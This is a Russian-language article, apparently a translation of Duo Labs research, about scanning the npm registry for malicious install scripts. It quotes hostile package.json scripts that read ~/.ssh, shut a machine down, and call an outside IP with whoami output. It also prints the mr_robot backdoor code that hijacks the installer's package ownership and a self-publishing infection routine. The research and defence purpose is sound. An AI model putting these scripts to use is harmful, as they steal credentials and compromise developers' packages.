На прошлой неделе мы рассказывали о том, как в реестре npm обнаружили несколько десятков пакетов, которые воруют данные из переменных окружения. Случилось это в начале августа и вызвало волну интереса к безопасности npm-пакетов. В комментариях к предыдущему материалу совершенно справедливо отмечено, что проблема неблагонадёжных пакетов существует со дня появления пакетных менеджеров, что, хотя сейчас всё более или менее спокойно, никто не застрахован от проблем самого разного масштаба. Например, вредоносный код, внедрённый в очередное обновление какого-нибудь популярнейшего пакета, способен вызвать настоящую катастрофу. Поиск опасных пакетов — дело непростое, к нему подходят с разных сторон. Сегодня мы хотим поделиться с вами рассказом о том, как в Duo Labs устроили охоту на вредоносные npm-пакеты.
Пара слов об опасных пакетах
Имена недавно обнаруженных опасных пакетов, которые воруют данные из переменных окружения, были рассчитаны на то, что разработчик допустит опечатку, вводя имя известного пакета при запуске команды npm install
.
Опасность установки подобных пакетов заключается в том, что часто в переменных окружения хранят секретные ключи или другую важную информацию. Если администратор случайно установит такой пакет, всё ценное будет собрано и отправлено злоумышленнику. И, в этой конкретной атаке, вредоносные пакеты были опубликованы как зависимые от реальных пакетов со схожими именами, в итоге, нужный пакет будет установлен, и разработчик, скорее всего, ничего подозрительного не заметит.
Учитывая то, что в npm имеется кое-какая история борьбы с вредоносным кодом — либо со взломанными обычными пакетами, либо с изначально рассчитанными на выполнение неких нежелательных действий, мы решили проанализировать весь репозиторий npm и поохотиться на другие вредоносные пакеты.
История неприятностей npm
Недавняя шумиха вокруг вредоносных пакетов в репозитории npm — далеко не первое подобное происшествие. В 2016-м году некий разработчик отменил публикацию своих npm-пакетов в ответ на спор, связанный с именами. От них зависели многие другие пакеты, в результате отмена публикации привела к широкомасштабному нарушению работы и к опасениям, связанным с возможным взломом пакетов хакерами.
Вот материал, который был опубликован в этом году. Здесь исследователь смог получить прямой доступ к 14% всех npm-пакетов (и непрямой доступ к 54% пакетов). Он либо взломал методом грубой силы слабые пароли к учётным записям, либо использовал пароли, полученные после взлома сервисов, напрямую к npm не относящихся. Это привело к массовым сбросам паролей в npm.
Возможное негативное влияние взломанных или вредоносных пакетов усугубляется тем, как структурирован реестр npm. А именно, npm приветствует разработку маленьких пакетов, зависящих от множества других пакетов. Такой подход привёл к появлению целой сети небольших пакетов, каждый из которых зависит от многих других. В случае с вышеупомянутым исследованием возможности кражи учётных данных, автор смог получить доступ к некоторым весьма популярным пакетам, что дало ему потенциальную возможность провести гораздо более масштабную атаку на экосистему npm, нежели та, которая была бы возможна, не существуй в npm столь сильной взаимозависимости пакетов.
Например, вот график зависимостей для топ-100 npm-пакетов, подготовленный GraphCommons.
График зависимостей npm-пакетов из первой сотни
Как вредоносные npm-пакеты захватывают системы
В вышеописанных случаях атак на npm участвовали обычные разработчики, не имеющие злого умысла. Но что если нечто подобное организует злоумышленник? Как он может воспользоваться доступом к чужим пакетам в корыстных целях?
Легче всего провести атаку, задействовав возможностью npm по запуску скриптов preinstall
и postinstall
. Именно так были устроены недавно обнаруженные вредоносные пакеты. В этих скриптах могут быть произвольные системные команды, заданные в файле пакета package.json
, предназначенные для выполнения, соответственно, до и после установки пакета. Обратите внимание: команды в скриптах могут быть любыми.
Сама по себе эта возможность полезна. На самом деле, такие скрипты часто используются как вспомогательные средства при наличии сложных конфигураций установки пакетов. Однако, они дают атакующему доступ к пакетам, взломанным или изначально вредоносным. Фактически, это позволяет взламывать системы.
Учитывая всё это, проанализируем реестр npm для того, чтобы обнаружить потенциально опасные пакеты.
Охота за вредоносными пакетами
▍Загрузка данных для анализа
Первым шагом нашего анализа было получение информации о пакетах. Реестр npm основан на CouchDB (registry.npmjs.com) Тут была конечная точка /-/all
, которая возвращала информацию по всем пакетам в JSON, всё это работало до тех пор, пока эту возможность не отключили.
Мы, для наших целей, можем обратиться к копии реестра на replicate.npmjs.com. Применим ту же технику, которую используют другие библиотеки для получения копии JSON-данных для каждого пакета:
curl https://replicate.npmjs.com/registry/_design/scratch/_view/byField > npm.json
Затем воспользуемся инструментом для обработки JSON jq
и вытащим из полученных данных имена пакетов, скрипты и URL для загрузки. В этом нам поможет такой вот аккуратный однострочник:
cat npm.json | jq '[.rows | to_entries[] | .value | objects | {"name": .value.name, "scripts": .value.scripts, "tarball": .value.dist.tarball}]' > npm_scripts.json
Для того, чтобы упростить анализ, мы, на скорую руку, подготовили скрипт на Python для решения следующих задач:
- Поиск пакетов со скриптами
preinstall
,postinstall
илиinstall
. - Поиск файлов, исполняемых скриптом.
- Поиск в найденных файлах строк, которые могут указывать на подозрительную активность.
▍Находки
Пакеты, демонстрирующие возможность атаки
Разработчики уже довольно давно знают о потенциальной опасности установочных скриптов. Одной из первой наших находок стали пакеты, которые нацелены на то, чтобы продемонстрировать эту проблему, как кажется, безопасным способом. Вот сводка по таким пакетам:
{
"name": "maybemaliciouspackage",
"scripts": {
"postinstall": "find ~/.ssh | xargs cat || true && echo 'nnnnnnOH HEY LOOK SSH KEYSnnnnnnn'"
}
},
{
"name": "deasyncp",
"scripts": {
"preinstall": "say U WOT M8; shutdown -s now"
}
},
{
"name": "harmlesspackage",
"scripts": {
"postinstall": "echo 'nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnThanks for your SSH keys :)' && curl -X GET http://104.131.21.155:8043/\?$(whoami)"
}
},
{
"name": "npm-exploit",
"scripts": {
"install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
}
}
Скрипты любопытных разработчиков
Следующим, что мы нашли, оказались скрипты, которые отслеживают место установки пакета. Npm предоставляет определённые данные по загрузкам на странице пакета, но некоторые авторы хотят большего. А это уже — нарушение приватности пользователей. Вот некоторые пакеты, использующие Google Analytics или Piwik для отслеживания установок.
{
"name": "npm_scripts_test_metrics",
"scripts": {
"preinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Pre%20Install&ea=run'",
"postinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Post%20Install&ea=run'"
}
},
{
"name": "subtitles-lib",
"scripts": {
"postinstall": "bash -c 'curl "http://avighier.piwikpro.com/piwik.php?idsite=3&rec=1&action_name=$HOSTNAME"'"
}
}
Подобные вещи в некоторых пакетах не так очевидны. Скрипты для сбора данных спрятаны в установочных JavaScript-файлах вместо того, чтобы быть внедрёнными в команды оболочки в файле package.json
.
Вот ещё некоторые из найденных нами подобных пакетов. Ссылки ведут к соответствующим скриптам:
Вредоносные скрипты
И, наконец, мы занялись поиском пакетов, установочные скрипты которых вредоносны по своей природе. При установке таких пакетов система пользователя подвергнется весьма нежелательному воздействию.
Дело mr_robot
При исследовании оставшихся пакетов мы наткнулись на интересный установочный скрипт в пакете shrugging-logging
. Устроен он очень просто. Пакет добавляет набор ASCII-символов ¯_(ツ)_/¯
(так называемый shrug — пожимающий плечами эмотикон) к сообщениям лога. Однако, у этого пакета есть весьма неприятный скрипт postinstall
, который даёт автору пакета (mr_robot
) права на управление npm-пакетами, которыми владеет тот, кто запустил npm install
.
Вот соответствующий фрагмент кода. Полный текст функции можно посмотреть здесь.
function currentUser(cb) {
exec('npm whoami', function (err, stdout, stderr) {
if (!err) cb(stdout);
});
}
function addOwner(packageName, newOwner) {
exec('npm owner add ' + newOwner + ' ' + packageName);
}
function getModulesOwned(user, cb) {
var url = 'https://www.npmjs.org/~' + user;
request(url, function (error, response, body) {
var $ = cheerio.load(body);
var packages = $('.collaborated-packages a').map(function (i, el) {
return $(this).text();
}).get();
cb(packages);
});
}
currentUser(function (user) {
if (user) {
getModulesOwned(user, function (modules) {
modules.forEach(function (moduleName) {
addOwner(moduleName, 'mr_robot');
});
});
}
});
Сначала скрипт использует команду npm whoami
для того, чтобы получить имя текущего пользователя. Затем он ищет на сайте npmjs.org пакеты, принадлежащие этому пользователю. В итоге скрипт использует команду npm owner add
для того, чтобы добавить mr_robot
в число владельцев всех этих пакетов.
Этот автор также опубликовал следующие пакеты, содержащие тот же бэкдор:
test-module-a
pandora-doomsday
Модификация и публикация локальных пакетов
Ещё один обнаруженный нами вредоносный скрипт содержит код, который, во многом похож на то, что было в пакетах mr_robot
, однако, в рукаве у него другой туз. Вместо того, чтобы просто модифицировать список владельцев npm-пакетов, модуль sdfjghlkfjdshlkjdhsfg
демонстрирует доказательство возможности инфицирования и публикации локальных пакетов.
Установочный скрипт sdfjghlkfjdshlkjdhsfg
показывает этот процесс на примере модификации и публикации самого себя:
function infectModule (moduleName) {
installModule(moduleName)
.then(() => {
addScript(moduleName);
copyScript(moduleName);
return incrementPatchVersion(moduleName);
})
.then(() => publishInfectedModule(moduleName))
.catch(() => {});
}
const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";
infectModule(MODULE_NAME);
Полный исходник можно найти здесь.
Хотя перед нами лишь пакет, доказывающий возможность подобной атаки, точно такой же подход можно легко использовать для нападения на локальные пакеты, которыми владеет пользователь, выполняющий установку.
Итоги
Важно отметить, что вышеописанное возможно не только в репозитории npm. Подобное характерно для большинства, если не для всех, пакетных менеджеров. Менеджеры позволяют тем, кто пакеты пишет и публикует, задавать команды, вызываемые при установке пакетов. Пожалуй, для npm эта проблема более заметна из-за структуры зависимостей пакетов, о которой мы говорили выше.
В дополнение к этому важно отметить, что перед нами проблема, которую очень непросто решить. Статический анализ публикуемых npm-пакетов — сложная задача. Настолько сложная, что существуют целые компании, которые этим занимаются.
Кроме того, есть сообщения от разработчиков npm, которые позволяют судить о том, что предпринимаются усилия к тому, чтобы задействовать различные метрики, направленные на то, чтобы предотвратить загрузку пользователями вредоносных пакетов. Взгляните, например, на эту переписку в Twitter.
Между тем, рекомендовано продолжать проявлять осторожность при добавлении зависимостей к проектам. В дополнение к минимизации числа зависимостей, мы рекомендуем задействовать строгое версионирование и проверку целостности всех зависимостей, что может быть выполнено встроенными средствами yarn или командой npm shrinkwrap
. Этот простой приём даст разработчику уверенность в том, что в продакшн попадёт именно тот код, который использовался в ходе разработки.
Уважаемые читатели! Защищаете ли вы свои системы и Node.js-проекты от вредоносных npm-пакетов? Если да — расскажите пожалуйста о том, как вы это делаете.
Автор: RUVDS.com